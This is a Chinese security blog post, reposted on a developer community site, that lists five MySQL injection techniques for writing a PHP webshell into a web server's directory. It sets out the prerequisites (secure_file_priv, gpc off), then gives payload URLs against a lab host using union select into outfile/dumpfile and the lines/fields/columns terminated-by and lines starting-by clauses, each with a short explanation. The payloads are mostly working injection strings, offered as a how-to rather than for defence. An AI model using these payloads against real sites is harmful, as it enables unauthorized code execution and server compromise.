前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MYSQL存在注入点,写WEBSHELL的5种方式

MYSQL存在注入点,写WEBSHELL的5种方式

作者头像
C4rpeDime
发布2022-04-26 10:06:04
1.6K0
发布2022-04-26 10:06:04
举报
文章被收录于专栏:黑白安全

0x00 写数据前提

1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_priv 配置的位置是web目录。

2,未开启全局gpc。

0x01 环境准备

测试语句

代码语言:javascript
复制
http://172.16.55.130/work/sqli-1.php?id=1

页面显示效果

MYSQL存在注入点,写WEBSHELL的5种方式 安全文摘 webshell Mysql注入 WEB安全  第1张
MYSQL存在注入点,写WEBSHELL的5种方式 安全文摘 webshell Mysql注入 WEB安全 第1张

0x02 union select 后写入

代码语言:javascript
复制
最常见的写入方式,union select 后跟 into outfile 语句

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/WebShell.php'

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into dumpfile 'C:/wamp64/www/work/webshell.php'

PS: 在windows下,位置的分隔符为 /(斜杠)。

0x03 lines terminated by 写入

注入点语句

代码语言:javascript
复制
http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/Webshell.php' lines terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/WEBSHELL.php' lines terminated by '<?php phpinfo() ?>';

执行语句后,页面显示内容

MYSQL存在注入点,写WEBSHELL的5种方式 安全文摘 webshell Mysql注入 WEB安全  第2张
MYSQL存在注入点,写WEBSHELL的5种方式 安全文摘 webshell Mysql注入 WEB安全 第2张

完整的Sql语句

代码语言:javascript
复制
select * from phpcmsv9.v9_admin_role where roleid = 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

Webshell显示

MYSQL存在注入点,写WEBSHELL的5种方式 安全文摘 webshell Mysql注入 WEB安全  第3张
MYSQL存在注入点,写WEBSHELL的5种方式 安全文摘 webshell Mysql注入 WEB安全 第3张

注入原理

通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

0x04 lines starting by 写入

注入点语句

代码语言:javascript
复制
http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

注入原理

利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

0x05 fields terminated by 写入

注入点语句

代码语言:javascript
复制
http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

0x06 COLUMNS terminated by 写入

注入点语句

代码语言:javascript
复制
http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

参考资料

原文由MANNING23

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-08-03),如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 写数据前提
  • 0x01 环境准备
    • 测试语句
      • 页面显示效果
      • 0x02 union select 后写入
      • 0x03 lines terminated by 写入
      • 0x04 lines starting by 写入
      • 0x05 fields terminated by 写入
      • 0x06 COLUMNS terminated by 写入
      • 参考资料
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档